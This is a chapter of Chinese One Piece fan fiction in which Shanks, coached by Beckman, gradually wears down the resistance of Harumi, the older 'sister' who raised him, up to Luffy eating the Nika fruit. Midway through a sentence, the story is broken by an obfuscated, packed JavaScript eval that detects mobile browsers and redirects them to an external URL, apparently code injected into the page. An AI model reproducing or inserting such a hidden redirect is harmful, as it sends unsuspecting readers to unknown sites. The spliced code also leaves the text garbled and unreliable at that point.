被当成情感垃圾桶的伟大副船长点燃了一支烟,深深地吸了一口,对着广阔无垠的大海,发出了今天不知第几次的无声叹息。 累了。 ——“春水压制”这招,还是少用几次吧。 后劲太大了——对他来说,后劲太大了。 他宁可找个笼子给头儿关起来,也不想再听他俩完全不在一个频道上的拉拉扯扯了。 当然,说是这么说,在下一次香克斯又开始眼神发亮、摩拳擦掌,准备不顾计划莽撞行事时——贝克曼还是非常诚实地、毫不犹豫地,再次将目光投向了安静坐在一旁的春水。 “春水。”他语气平淡如常,“给他翻译下。” 清静一时是一时吧。 至于后续被这对儿笨蛋姐弟追着跑什么的……唉,反正当妈的也已经习惯了。 再一次看着甲板那头,刚刚被春水摸过头、此刻正一边傻笑一边懊恼地捶自己脑袋的香克斯,以及他身边依旧一脸困惑不解的春水。 贝克曼深深地、深深地吸了一口烟,吐出了一个烟圈。 “真是够了。”他低声自语,“这个世界是被笨蛋占领了吗?到底什么时候才能搞清楚状况……?” 当然,抱怨归抱怨,兄弟的终身大事还是得帮忙的。 实在看够了进展如蜗牛的笨蛋喜剧,在香克斯又一次来骚扰自己时,贝克曼终于大发慈悲,用丰富的情场经验提点他了一句: “她从来没有真正拒绝你。不想直说的话,试试温水煮青蛙。” 没有真正……拒绝过吗……? 香克斯一开始还没反应过来,直到一次科尔波山的饭桌上,他被艾斯刻意挤到了离春水最远的位置。 ——同样都是春水看着长大的弟弟,这孩子似乎是想和他争夺姐姐的宠爱,可爱的要命。 “姐姐,你吃。”艾斯殷勤地为春水夹了一盘子肉,然后对香克斯露出了挑衅的表情。 呦。 不愧是罗杰船长的儿子,这小子—— 香克斯乐了。 “小孩子才吃肉呢,大人都吃蔬菜的。”他的小表情太好玩了,喜欢逗小孩玩儿的恶劣大人·香克斯故意叉起来一条胡萝卜,跨过一条长桌,凑到春水身边,“不信你看,艾斯。” 他纯粹是为了看艾斯气鼓鼓但不好发作的表情,没指望春水会配合——因为她最讨厌胡萝卜了。 果然,同样讨厌胡萝卜的艾斯小脸一皱。 就在香克斯的叉子晃到春水嘴边,正打算拐个弯,自己吃掉时——谁也未曾料想到的情况出现了。 春水看了看他朝艾斯得意大笑的幼稚模样,沉默了一下—— 然后,她微微倾身,张口将他叉子上的胡萝卜吃下去了。 欸——?! 香克斯愣住了。 这人不是连打碎成泥的胡萝卜都……? 没注意到同样熟悉她饮食偏好的露玖和达旦一下子被噎住的表情,春水嚼也不嚼,直接吞了下去。 饶是如此,胡萝卜那股软烂的气味还是充满了口腔。她咽下恶心,面不改色:“艾斯,多吃蔬菜才能营养均衡。” 她的“姐姐气场”是压倒性的强大,令人完全生不起反抗的念头。 艾斯老老实实地“喔”了一声,正在为了一块带骨肉互掐的萨博和路飞也乖乖啃起了胡萝卜。 香克斯呆呆地拿着叉子回了自己的位置。 ……虽然有着教导小孩子不要挑食的示范意味……但春水确确实实、又一次纵容了他的行为。 ——即使他们都知道,那是违背了她的意愿,让她极不情愿的事。 意识到的这意味着什么的那一刻,如同被一道闪电劈中,迎上贝克曼“我早说了”的白眼,香克斯福至心灵! 是啊……向来敏锐的人怎么可能完全迟钝……而且那可是春水啊! 所以,他那些试探和得寸进尺的靠近,之所以能屡屡得手,只是因为……她对自己近乎无限的心软和纵容而已。 仔细想想,她虽然会困扰,会无奈,但从未真正拒绝过他——这让香克斯的心脏突然剧烈地跳动起来。 原来,他以为的地狱级难度的关卡,其实是……只对他开放的easy模式吗? 香克斯顿悟了。 他开始小心翼翼地验证起了自己的猜想。 起初只是些细微的、越界的试探。 在春水倚着船舷缝补着属于他的衣物——这群人,尤其是香克斯,每次战斗结束衣服都会破破烂烂——时,他坐到了她的身边。 手臂搭在她身后的船舷上,肩膀紧紧相贴,形成一个半包围的姿势。 他若无其事地与钓鱼的耶稣布和拉基·路聊着天,实际上心思全都在春水身上,小心翼翼地看她的反应。 ——这个姿势,他几乎是把她揽在怀里了。 可春水没有躲开。 她只是抬头看了他一眼,调整了下坐姿,然后沉默地继续缝补。 这算什么?这是默认了吗? ……原来、原来离得这么近都没关系吗……?!! 预想到她的底线远比想象中更加宽松,香克斯的胆子更肥了。 他凑过去,拿过春水手中的布料,笨手笨脚地表示我也来帮忙。 ……结果当然是把她刚捋好的线弄得一团糟了。 “像个只会添乱拆家的比格犬似的……这个人。”耶稣布撇过头去,心想亏得春水脾气好,这要是他的妻子潘吉娜……估计现在他已经被丢到海里去了。 春水也是一脸无奈,那句“还是我来吧”在嘴边转了几圈,最终还是咽了回去。 “香克斯,要这么缝。”她轻轻碰了碰他的手指,和小时候一样,耐心地、一点一点教他如何穿针引线。 手好软和啊……身上也香香的,只是什么味道?是皂角的味道吗? 香克斯学得心不在焉,目光流连在她低垂的眉眼和纤细的手指上,一个字也没听进去。 他的走神太过明显,那专注的目光如有实质,烧得春水耳根发热,根本无法集中精神。 她有点受不住,无奈地看他一眼:“你啊,没有别的事要做吗?” 为什么这些天……她总觉得,这孩子在刻意黏着她,而且越来越粘人了? “有啊,”香克斯答得理直气壮,“对我来说,陪着你就是现在最重要的事啊。” 春水:“………” 会心一击。 她瞬间语塞,假装继续忙手里的活,手指却抖得有些不听使唤。 ……她在想,是不是该严肃地和这孩子谈一谈划清界限的事了——他几乎都要长在她身上了。 但每一次,对上香克斯那双亮晶晶的、又带着点忐忑不安的眼睛时,所有准备好的说辞都说不出口了。 最终,她叹息着,默默地再一次将底线拉低,纵容了他的“放肆”。 ——对着那样一张盛满了自己最宝贵的回忆、从小看着长大的脸,回忆起他成长中缺失了自己的整整十年,春水下意识地升起一种类似母性的怜爱。 ——她总会心软。 香克斯当然能感觉到这份「心软」。过去那些笨拙的关怀,瞬间被一种更加明确、更加笃定、甚至带着点狡猾的“进攻性”所取代。 在他这里,所有亲密的肢体接触都被包装成一种“必要”的关怀。他对此的渴望也终于不再掩饰。 他聪明地将自己的行为控制在了她能接受的“姐弟”范围内,踩着红线,理直气壮地侵占她的私人空间。 只是揽着还不够,他直接靠在春水身上,脑袋枕着她的肩膀,抱怨着:“好累啊,春水。” 虽然他的身高做这个动作有点滑稽,虽然围观猛男撒娇的伙伴们一脸不忍直视。 但他还是做了。做的无比自然。 这样……是不是……过分亲昵了? 正与斯内克讨论航行路线的春水微微一僵,耳根不受控制地泛起薄红。 “你这孩子……”她面露困扰,“多大的人了,不怕被人笑话?” 香克斯将脸贴在她的脖颈,感受着扑面而来药香味,控制自己不直接吻上去,回答的也含含糊糊的:“为什么要笑话我?这不是很正常嘛?不信你问斯内克。” 斯内克:“………” 正常个鬼啊…… 被头儿的无耻打败,他抽搐着嘴角别开了头,不想帮腔。 春水却当他这是默认了,心道难道……难道真的是自己太过敏感了? 尽管手足无措,她还是强迫自己放松下来,任由香克斯靠着,想继续刚刚的讨论。 这种程度还远远不够。 心底的野兽在咆哮着想要冲出牢笼,深谙“会哭的孩子有糖吃”的道理,香克斯揉着太阳穴,一脸“虚弱”。 “头有点晕,好像有点晕船了……”他挨蹭着那片皮肤,小声咕哝着。 海贼……晕船……这种话真亏他能说得出来啊。 不远处的莱姆琼斯不着痕迹地翻了个白眼,宾治抱着猛士达窃笑着学他蹩脚的模样。 虽然演技烂的很,理由也漏洞百出,但春水看着他紧蹙的眉头和那双格外湿漉漉的眼睛,还是忍不住伸出手,按上他的太阳穴。 他看起来真的不太舒服…… “要不要找本乡……开点晕船药?”她轻声问。 “他的药不管用……”她的触碰让香克斯发出一声满足的喟叹,“嗯……舒服多了。春水,你的手好凉快……” 说着,他得寸进尺地抓住她两只手,贴在自己额头上,贪婪地汲取清凉:“这里也要……好舒服……” 温度透过皮肤清晰地传递过来,几乎要烫伤她。春水下意识想抽回手,却被他更加用力地握住。 她挣扎了一下,无果,只能红着耳朵偏过头去,任由他抓着自己的手,完成这场奇奇怪怪的“治疗” 香克斯被她的表情取悦了。 ——不是吧?连这种明晃晃的耍赖都照单全收? 闻讯而来的本乡:“………” 大白天的搁那儿发什么浪呢? 还有……这个笨蛋刚刚说谁的药不好用呢?!! 他靠在看戏的伙伴们身边,猛士达正抓住宾治的手,放在自己额头上,学的有模有样。 斯内克不堪其扰,默默离开了那片区域:“我不行了……春水究竟什么时候才能发现头儿那点心思啊?她打算就这么一直惯着他吗?” “她应该是察觉到了……只是还不敢确认吧?”耶稣布仍然对作战室里的聪明人·春水抱有期待,“而且头儿不是春水一手养大的吗?他那么明显,她能看不出来?” “我看悬。”本乡实话实说,他有个妹妹,所以更能代入春水的心情,“就是因为一手养大,才不会往那方面考虑啊。她眼里……头儿恐怕还是没长大的弟弟呢。” 一个月就迅速坠入爱河确定关系了的耶稣布完全无法理解:“春水哪有那么迟钝!依我看,一个月……不,最多半个月,他俩就得摊牌。” “我看未必——要赌吗?” “赌就赌,我可是船上唯一一个已婚人士好不好!” 两个人各执己见,愉快地开了赌局。 提到这可精神了,拉基·路啃着鸡腿凑过来,含糊道:“温水煮青蛙,这法子不是贝克想的吗?一个月哪够煮啊,我看得三个月。” 莱姆琼斯挠挠头:“我赌半年吧,保守一点。” 本乡摇头,无言从怀里掏出几张纸币:“你们太天真了,我押一年。” “我觉得……春水不像是能拒绝头儿的样子啊。”嘎布附议,脸涨的通红,用手指捂着眼睛,时不时偷偷透过指缝看那边。 宾治和斯内克在半年和一年之间摇摆不定,索性两边都下了注。 “狡猾的小子。”贝克曼收回视线,他比他们更清楚春水的超绝钝感力,淡淡道,“一年哪够啊。要我说,在头儿憋不住自己捅破窗户纸前,她是永远看不出来的。” “欸——” “永远……?” “你就不能对春水有点信心吗贝克?!” “她不是能看穿未来吗?怎么可能——” “不信?”迎着伙伴们不敢置信的目光,深受其扰的“单亲妈妈”挑了挑眉,掏出了几枚金币,“那赌注翻倍好了,敢赌吗?” “哈——!赌!!” 预感到这可能是唯一一次赚贝克曼钱的机会,没怎么谈过恋爱的赌狗们和某个只谈过一场顺风顺水的恋爱顺利结婚生子的幸运儿果然上了钩。 作为计划的提出者,贝克曼又朝着香克斯那边望了一眼,他执行的效率比自己想的还快上很多。 果然聪明,一点就通。 ……要是这笨蛋实施作战计划的时候也这么聪明就好了。 算了。人的成长总是要付出代价的,再让他任性几年好了。 * 如他所料,同食、牵手、依偎、拥抱……香克斯踩着春水的底线,一路畅通无阻,横冲直撞。 计划的开始,是让她习惯自己的肢体接触。 起风时将她用力抱在怀里,手臂环住她的腰,紧紧扣住。 她和别人讨论时,从她身后靠近,笑着听他们讲话,胸膛若有若无地贴着她的脊背。 看她想起身时会顺手揽住她的侧腰或者直接握住手腕。 在她过度使用能力,面上显露些许疲惫时,直接将她打横抱起,送回舱室,任凭她小声抗议“我能自己走”也绝不松手。 ……这孩子……是不是有点太小心翼翼了?总觉得他眼里,她好像是个一碰就碎的瓷器似的…… 每当春水想挣扎或者婉拒他的好意,香克斯都会立刻露出一副“你的身体太凉了”“我只是在关心你”“你不需要我吗?”“可是我想对你好啊”的无辜表情,让她所有拒绝的话都堵在喉咙里。 她退了一步,香克斯就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17493586|202364||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 逼近两步。 于是底线退了一次、两次……无数次。 慢慢地,无论在哪儿,无论在做什么,香克斯都能“不经意”地碰到她的手,然后顺势将其握在掌心,美其名曰:“手太凉了,我帮你暖暖。” 他的手掌宽大,炽热,带着薄茧,将她的手完全包裹,一寸一寸挤进去,没有一点缝隙。 ……真的太烫了,这孩子。 长时间的十指相扣……总感觉有点怪异。春水每次都想抽回,但他总握得更紧一些,用一种不容置疑又带着点撒娇意味的语气说:“春水。就一会儿,好不好。” ——她那点挣扎的力气便一次又一次的泄去了。 算了。 从小都是这么过来的……牵就牵吧。 她败下阵来,任由他牵着,不再反抗,同时默默告诉自己:“这孩子只是担心我。”,无可奈何地习惯了这种过于亲密的保护姿态。 类似这种事发生的多了,香克斯每一次的态度又太坦荡大方,从不避讳任何人。伙伴们也只是意味深长地看着,从始至终,除了针对香克斯的嫌弃和牙酸以外,没人表示出任何“这种事不对劲吧”的想法。 ——包括这艘船上最有常识的贝克曼。 环境的影响是可怕的。 清晰地感受着香克斯滚烫的体温和心跳,春水后来真的习惯了。 香克斯笑眯眯地朝她伸手,心满意足地看着她将手指搭了上来,任由他把玩。 ——这不是来者不拒是什么啊? 计划进展顺利,内心欢喜又甜蜜,鼓噪着,雀跃着,他不再犹豫,彻底放开手脚,可谓是变本加厉。 不满足于现状的饿狼,将目光转移到了他专门给春水挑选的躺椅上。 加宽加厚,足以承载两个人的重量——没错,他就是故意的。 高大的身躯投下的阴影几乎将春水完全笼罩,男人身上蓬勃的热意和强烈的荷尔蒙气息彰显着强烈的存在感。 在春水欲言又止的注视中,香克斯硬是挤了上来,挨着她躺下了。 ……明明他有自己的躺椅……而且就摆在对面。 她看着那双亮晶晶的眼睛,映照着总令她无比心软的期待——最终,听见了自己的叹息。 唉,算了。 底线一退再退,她默默侧身,想往旁边动一动,给他腾出点空间,毯子分给他一半。 当然,她没成功。 因为香克斯的手臂已经如同藤蔓一般缠了上来,强行把她按在原地,留在了自己身边。 身体嵌合,其密无间。 ——怎么可能让她逃呢? “就这样就好,春水。”他笑着凑近她,手臂的肌肉绷紧,坚硬如铁,“……我喜欢挨着你。所以,就这样就好。” 春水又叹了口气,被他软磨硬泡着再次妥协了。她继续翻书,试图当他不存在。 那可不行哦,春水。 香克斯笑着打破了她的自欺欺人。他指了指书页,提出了些近乎幼稚的问题,呼吸拂过她敏感的耳廓和颈侧。 “春水,这个字念什么?” “春水,这个岛的传说你听说过吗?” “春水……春水。” 他的声音压得很低,带着点沙哑,离得太近了——完全就是贴在自己的耳朵上问的。 但春水没有推开他。 更没有出言斥责或者劝阻。 她只是叹着气接受了,耐心回答他“十万个为什么”一样天马行空的问题,轻声解释着书中的传说或是过往的见闻。 这种近乎宠溺的纵容,在香克斯看来,无异于来自心上人最热烈的鼓励。 他盯着近在咫尺的面容和那微微颤动的睫毛,还有被他的呼吸染红、不再苍白的肌肤,像兽类一样磨了磨牙,无声地笑了。 ——春水,一直舍不得拒绝的话……不就相当于在告诉他,怎么做……都可以吗? 那么,他就不客气了。 只是习惯和接受还不够,她必须要学会主动才行。 主动靠近他,主动依赖他,主动将自己……完完全全地交给他。 顺从着自己的心意,乘胜追击,步步急逼,香克斯开始不容拒绝地包办起了春水的一切。 “这个太重了,我来。” “外面风大,披上这个。” “这种鱼刺多,我帮你挑干净。” 他甚至开始干涉她的作息了。 虽然东海的势力被他们摸了个遍,基本上不会在存在什么威胁,但春水还是不太放心。 她总是仰望着星空,定定看着「命运之海」。偶尔还会对着电话虫,轻声说着香克斯听不懂的关于「命运」、「命线」、「规则」之类的话。 那双黄金瞳在使用能力时会无比雪亮,总令他回忆起罗格镇那场雨夜,与他分别时她的眼神。 如同一柄出鞘的钢刀,叫嚣着要刺穿一切,就是那样的眼神。 香克斯不明白她在忧心什么,也问过她电话虫另一端是谁,为什么他们的对话总像是在打哑谜。 但春水每次都轻轻抚摸着他的发顶,温和地笑着,岔开了话题。 明白这一定又是关于她那个「织织果实」,见她避而不谈,他也不强求。 “春水。很晚了,该休息了。”他耐心地等她挂断电话虫,在夜色中精准地扶起她,把她“押送”回舱室。 身在雷德·福斯号上,还要亲自送她回房间……他难道是在担心敌袭吗?还是怕她半路晕倒? 为着这种过度保护,窝心的同时,春水有时会觉得有点好笑:“香克斯,我不是小孩子,能照顾好自己的。” “我知道,但是我不放心你。”香克斯在黑暗中回答的很认真,“以前都是你照顾我,现在……换我来照顾你。” 她……看不清他的脸。 但借着月光,她能看见那双眼睛——那双二十多年分毫未变的眼睛。 那是属于“弟弟”香克斯的、想要用尽全力保护“姐姐”的眼神。 “……好吧。”想起回忆里的那些温暖,心里又酸又涨,春水笑着妥协了,“好吧好吧。” 这只放弃逃生、乖乖被煮的青蛙甚至还伸手摸了摸添柴者的头:“那拜托你了,香克斯。” 就是这样才对啊,春水。 就是这样才行。 不需要顾虑别的人、别的事,只专心地看着我,把一切都交给我。 ——我发誓,一定会把你照顾的很好很好。 香克斯捉住她的手,放在了自己的脸侧,十指相扣,笑意更深。 “啊……没问题。请务必全部、全部都交给我吧。” 他是这么说的。 * 被香克斯堪称无微不至、事事亲力亲为地照顾久了,春水难免会对他产生依赖。 每当她察觉到这份依赖……似乎有哪里不太对劲,想稍微拉开一点距离时,香克斯就会立刻发觉,然后用一种带着点委屈、又无比执着的眼神看着她: “你又要和十年前一样推开我吗?你又要抛下我一个人吗?” 每一次,在他的这种眼神攻势下,春水都会内疚又不安地败下阵来。 ……无一例外。 于是,在香克斯的刻意引导下,在一船早知道他什么心思、偶尔还会默契助攻的伙伴们的配合下,一年过去了。 春水已经完完全全习惯了——这份超越姐弟的亲密。 香克斯确实把她照顾的很好。 困于寒症的身体被他源源不断找来的药补好,常年低温的皮肤被他的体温捂得暖洋洋。 ——他越来越近,她始终没能推开。 是因为他是自己看着长大的孩子,将来又注定要分别,所以心怀愧疚,不忍苛责吗? 是因为他那毫不掩饰的、纯粹的渴望,让她无法硬起心肠吗? 还是因为……在她自己都未曾察觉的内心深处,其实并不排斥呢? ——是啊,弟弟长大了还能这么亲密无间,这是好事,她怎么可能会排斥呢。 说实话,其实春水自己也分不清了。 而香克斯—— 在每一次成功、无一例外的“得寸进尺”中,他比春水更早一步地、越发清晰地看明白了其中关窍。 他看着蜷缩在自己怀里的女人,发现她终于养成了下意识寻找自己、依赖自己、主动将身体靠向自己的习惯—— 他耐着性子,添了一把柴火,任爱意如同野草疯长。 那场赌局结果自不必说。赚了一船人的钱,贝克曼好心情地笑了。 虽然频率减少了——但他依旧是春水“情感咨询”的对象,主题依旧围绕着他们令人头痛的船长。 但这一年,已经能让他能熟练地用「孩子心性」、「青春期延迟」、「雏鸟情节」这种理由将她糊弄过去了。 ——不是,谁家好人二十七岁了还有青春期啊? 但春水……那么聪明的春水……她居然真的接受了这个理由,还反过来问他「青春期」有没有什么注意事项。 被人卖了还要替人数钱,这位也是个无药可救的。 ——所以究竟为什么,这两个人别别扭扭的搞暧昧,被各种问题骚扰的会是他啊。 送走了被香克斯执着地讨要“晚安吻”而困惑不已的春水,贝克曼默默地拿起清单,决定去底舱清点一下酒水库存。 那里通常足够安静。 ……而且,他可能需要先喝一杯。 18. 他长大了啊 雷德·福斯号截下了一艘世界政府的船只,干掉了CP9的特工,如愿获得了一颗恶魔果实。 这场袭击并非偶然,香克斯目标十分明确。 那是罗杰船长提到的、将会成为解放者「乔伊波伊」的尼卡果实。 潜伏在圣地玛丽乔亚得到了它的消息后,香克斯蹲守在东海,找了这颗果实很久。好在它似乎并不排斥他——春水能看到,这颗果实的「命线」蓬勃、自由,使得它如同有自我意识般,多次从束缚中逃脱。 “春水,我会成为那个人吗?”将罗杰船长的草帽握在手里,香克斯仰望着天空。 星河璀璨而明亮,北极星时刻为迷茫的游子指引方向。 被他半抱在怀里,春水睁开了那双锋锐无比的黄金瞳。 她定定看着香克斯的「命线」——和罗杰船长一样,那是能对「命运之子」产生重大影响的「引航者」。 在香克斯骤然暗淡的注视下,她揉了揉他的头,慢慢地摇头。 ——那个人,不是你。 “香克斯,你不会成为乔伊波伊。” ——但你会是点亮他的,最重要的那颗星星。 早有预料,这并没有打倒香克斯。他用力地抱了春水好一会儿,将下巴放在了她的颈窝里。 他闷声道:“没关系。” 就算不是「解放者」,但总有他能做到的事——比如找到乔伊波伊,然后引导他走向大海。 他想,如果不是他,那么一定就是有着「D」的意志的艾斯了吧? 春水依旧凝望着尼卡果实的「线」,试图拨开云雾,看清它最后的选择。 这颗果实身上承载着太多「规则」,「线」太过跳脱,毛线一样缠来缠去,错综复杂,她一时无法理清。 它选中的那个人,真的是艾斯吗?可是艾斯的「命线」…… 注视「规则」太久,她的太阳穴开始发疼,眉梢微微压下,立刻被香克斯察觉到了。 “好了,别看了。”手掌盖住她的眼睫,男人滚烫的体温传递了过来,“春水,顺其自然吧。” 他将她扳正,让她坐在自己的腿上,不许她再看向那片星空。 “……好。”春水没有挣扎,只是调整了一个更舒适的姿势,安安静静地窝着。 常年盘踞在四肢百骸的寒意,似乎只有在他怀中才能被彻底驱散。被搂的久了,她甚至会像只被养熟的猫,发出一声极轻极轻的、满足的喟叹。 拥抱这种程度,她已经完全习惯了。 香克斯低笑出声,手臂收得更紧:“睡吧,我送你回房间。” 春水“嗯”了一声,被他的气息包裹着,很快生出了几分困意。 为什么呢? 迷迷糊糊间,她感受到了他有力的手臂——他将她抱了起来。她的额头顺势抵在了他的颈侧。 为什么呢? 即使看不清「命线」令人沮丧,但它们很快就被睡意替代了。 待在这孩子身边,她总是觉得很宁静。内心像是燃着炭火的冬天,不会有不安或者焦灼,只有平和如水的安心。 “香克斯……好暖和。” 比火焰更明亮的发色,总是能烫到她的体温,连瞳孔都是炭火的颜色。 “……喜欢。”她轻声说着,蹭了蹭他,放任意识沉沉坠入了一片虚无。 听到了那句“喜欢”,香克斯沉默地凝望着她。良久良久,她终于听到了宝贝弟弟有点哑的回应。 他说:“……我也喜欢你,春水。很喜欢你、最喜欢你。” 总被他粘着说这样肉麻兮兮的话,她习惯了。 ……真是个好孩子呢,香克斯。 于是春水模糊地笑了。 * 带着尼卡果实与一船的财宝,雷德·福斯号最后一次驶入风车村的海湾。 想找的东西找到了,他们是时候去伟大航路了。 三个孩子得到消息,早已在岸边翘首以盼,欢呼着朝他们冲了过来。连一向别扭的艾斯,此刻也半推半就地被香克斯捞起,坐在他坚实的臂弯里,听着那些航海故事。 “猜猜我给你们带了什么好东西!”香克斯像个孩子王,两条手臂上挂着艾斯和萨博,头顶还趴着死死抱住草帽不撒手的路飞,热热闹闹地在沙滩上玩起了寻宝游戏。 露玖笑着将目光转向气色明显红润许多的春水,欣慰地与她拥抱。 “太好了。我总有种感觉,这里是不属于你的。”她的声音带着哽咽,仿佛又看到了那个满是孩子气的、活得顶天立地的男人,“你们啊……都是属于大海的人。” 属于大海的人,是不会甘心被困在小小的一座岛上,结束一生的。他们注定会扬起风帆,迎接冒险与自由的狂风。 春水用力回抱住她。 她想,露玖姐已经知道……自己是来道别的了。 在科尔波山依旧喧闹的饭桌上,达旦提起了消失一整年的名字:“西格前段时间回来了。他集结了一批手下,四处扬言要消灭你们。” 西格……? 哦……是那个和路飞起了口角就把他掳走所以被他们剿灭了的山贼啊?一年过去了,他还活着啊? 香克斯显然快忘了这个人的存在,被提醒了才恍然大悟。贝克曼倒是记得,他只是微微一笑,未置一词。 ——无所谓吧?那种灰尘一样的家伙,吹走就好了。 他们在风车村呆了几天,为后续航行采买着物资。刚和本乡一起将药草装进船舱,春水就从玛琪诺那里听说“香克斯在酒馆与人起了冲突,还被泼了一脸酒”这回事。 她推开酒馆大门时,香克斯正顶着一身酒液,像只落水小狗般无辜地看着她,甚至还想甩甩头发,把酒渍溅到贝克曼身上——当然被副船长预判并敏捷地躲开了。 ……居然敢泼我弟弟一身酒? 好大的胆子,我倒要看看他有几个脑袋。 一种久违的“自家孩子被欺负了”的护短情绪涌上心头。春水眉头皱紧,黄金瞳锐利无比,指尖已无声地搭上了那闹事者混乱的「命线」。 ——就是他吗?叫西格的家伙? 未等她做出点什么,手指就被温热的大手抓住了。 “唉!少见的生气模式啊——!”香克斯像是发现了新大陆,稀奇地凑近,端详着她脸上的愠怒,“哇……好怀念啊!春水,表情再凶一点试试!” 每次动用能力都会或多或少地影响她的身体。 为了这点小事,他觉得没必要。 被香克斯这么一打岔,春水无奈地妥协了。她接过玛琪诺递来的湿毛巾,仔仔细细替他擦拭脸上的酒渍。 香克斯闭着眼,一脸享受。 “还没擦干净,感觉黏黏的。”他得寸进尺地要求着,让她反复擦了好几遍。 “不要撒娇。”春水终于琢磨过来不对劲,轻轻推他,“快去船上洗干净。” 香克斯不情不愿地起身,伙伴们在后面大笑。贝克曼一脸没眼看的表情,喝光了杯中酒。 “香克斯真是的!有什么好笑的啊!为什么不揍他一顿啊!!” 瞒过了无处不在的见闻色和「织织果实」的预知,装有尼卡果实的木箱轻轻的动了动。 「命运」的齿轮缓缓转动,原本闭合的箱子缓缓裂开了一个口子。 在大家都没注意到的角落,愤怒的路飞被它吸引了注意力。他伸出手去,拿起了那个奇怪紫色水果,气得狠狠咬了一大口! ——咔嚓。 那一瞬间——无数「命线」发生了剧烈的偏转与重组! “等等!是他!”春水猛地转头。 “路飞!”香克斯几乎同时察觉,箭步冲上前,试图倒提起路飞让他吐出来,“快吐出来!那是吃了会变成旱鸭子的恶魔果实啊!” 但为时已晚。少年的身体如同橡胶般不可思议地拉伸开来。他那条原本就比常人更加明亮、更加绵长的「命线」,此刻如同太阳,迸发出耀眼夺目的光辉! 太阳神尼卡,不是香克斯……也不是艾斯。 ——原来,是他。 伙伴们吵吵嚷嚷的,感觉到自己好像闯了祸的小路飞被围在中间,满脸不知所措。香克斯转头看向春水,得到了她的肯定。 是了,卡普先生也是「D」之一族! ——「原来,就是路飞吗……?」 在一旁被玛琪诺塞了糖果的艾斯和萨博很快发现了弟弟的异常,不同于路飞的慌张,两个哥哥很快掌握了安抚(和玩闹)橡胶弟弟的诀窍。不一会儿,一个把自己充气成圆球的路飞就逗得全场哈哈大笑。 定定地望着路飞那张脸,香克斯也笑了起来。 当晚,众人在为离别做准备,忙得热火朝天。 春水独自站在星空下,望着香克斯那条将在明天被砍开一个豁口的「命线」——那是断臂的征兆。 覆盖着恶魔的漆黑意志,这是她第二次直面如同露玖必死命运般的、强大的「规则」之力。 那就是……香克斯所说的,「伊姆」的烙印吧? 为了祛除那个随时会夺取自己意识的烙印,也顺应了天命……他选择自断左臂吗? 改变它,改变断臂的「命运」,抹除恶魔的「意志」,她无疑会付出更多的代价。身体会迅速崩解,可能比十年前更严重、更凶险。 可是啊……可是啊。 春水的目光掠过正一手一个扛着男孩们奔跑的香克斯,掠过他稳健的、惯用剑的左臂,缓缓闭上了眼。 ——再次睁开时,锐利如寒铁。 可是啊,她必须要做。而且,必须要成功。 * 夜已经深了,露玖躺在她身边,与她说了许久的悄悄话,充满了不舍。 但最后,她摸了摸妹妹的头,温温柔柔地笑了:“我能看出来。这一年里你每次回来,都比以前更开心了。” “是因为香克斯吗?和他在一起,你每天都很开心吗?”她问。 回忆起她的骄傲,春水眉眼弯起,露出了一个明亮的笑脸:“嗯!” 定定看着她,露玖也笑了。 “春水,人的一生很短。”她的眼中有泪光闪烁,“找到一个让你开心的人,然后去做自己喜欢的事,比什么都重要。” 不舍的眼泪盛满眼眶,春水慢慢地、慢慢地点了点头:“……嗯。” 第二天告别时,被香克斯再次拒绝了一起出海的请求,艾斯和萨博闷闷不乐。路飞用力擦了一把眼泪,闷着头跑远了。 只当那孩子是太喜欢香克斯了,没办法接受离别,大家都没怎么在意。 但很快,广场上有消息传来,路飞因为挑衅山贼而被西格带走了。伙伴们迅速集结,拉基·路懒得废话,一枪崩了个用枪指着香克斯的山贼。 西格见势不妙,放出烟雾弹,再次逃跑。 “糟了!”香克斯头痛地捂住头,“我太大意了!路飞被——!” 还以为他留有什么后手想放长线钓大鱼的贝克曼:“………” 拉基·路:“不要慌,头儿你这个白痴。” 香克斯:“……喂!我不是故意的啊!没必要骂我吧!” 春水被笨蛋弟弟那副“天塌了”的表情逗笑。她点了点西格逃跑的方向,斯内克会意,驱使着雷德·佛斯号追了上去,很快在海上发现了目标——西格葬身鱼腹,而小路飞…… 被丢进了海里?! 大海是恶魔果实能力者的天敌,近海之王又离路飞太近,那一口下去一定会受伤。 ——不可以!不能让这孩子从此对大海产生恐惧!! 路飞……无论多小的可能!都绝对不可以出事!! 比起霸王色霸气,或者其余远程武器,在那一刻,香克斯最先想到的竟然是罗杰船长的笑脸。 “乔伊波伊,真可惜没和你生在一个时代啊。” “为了引导他去海上,为了积蓄足以掀翻世界政府的力量,我要开启大航海时代——抱歉,我要死了,香克斯。” 左臂的浅海烙印隐隐发烫。香克斯几乎是本能地,将自己的身体化作盾牌,揽过路飞。 ——赌一把!就把它就赌在这里,赌在新时代上好了!! 会游泳的伙伴们已经冲了上去,耶稣布和贝克曼的子弹也打向了近海之王。弹药破空,比他们都快的,却是春水抬起的手指。 既然无论如何都会走向这个结局——那么不如按着「命运」的剧本,赌一把她能改变这个「未来」的「可能性」好了。 「命运之海」里,时间被定格在此刻。她双手合拢,缓慢而坚定地将香克斯那条即将产生缺口的「命线」,强行阻滞、扭转、粘合! 恶魔的烙印嘶吼着挣脱肉、体,高高的王座之上,头顶双角的「神明」似有所觉,冷冷地朝她投向一瞥。 凭什么呢? 神明又如何,我管你是什么神明。 不会让你们伤害到他的……绝对、绝对不会让你们伤害到我心爱的弟弟。 香克斯……别怕,姐姐一定会保护你。 喉咙涌起一股腥甜,春水用力地将它们咽下——连同着歉意一起咽下。 还不够,还不够…… 胸口和胃部同时传来尖锐的刺痛,那是身体负担过重时的疯狂预警。但她没有理会,只专注地望着那一条逐渐完好的「命线」。 这次要付出什么代价? 精神高度紧张时,她想起的是几个月前好友说过的话。 【“这次是个胆小的,刀架在脖子上就什么都说了。还得到了个小玩意儿,下次当面给你yoi。”】 他的声音在电波里有些失真,说这些时,电话虫带着春水熟悉的懒散笑意。 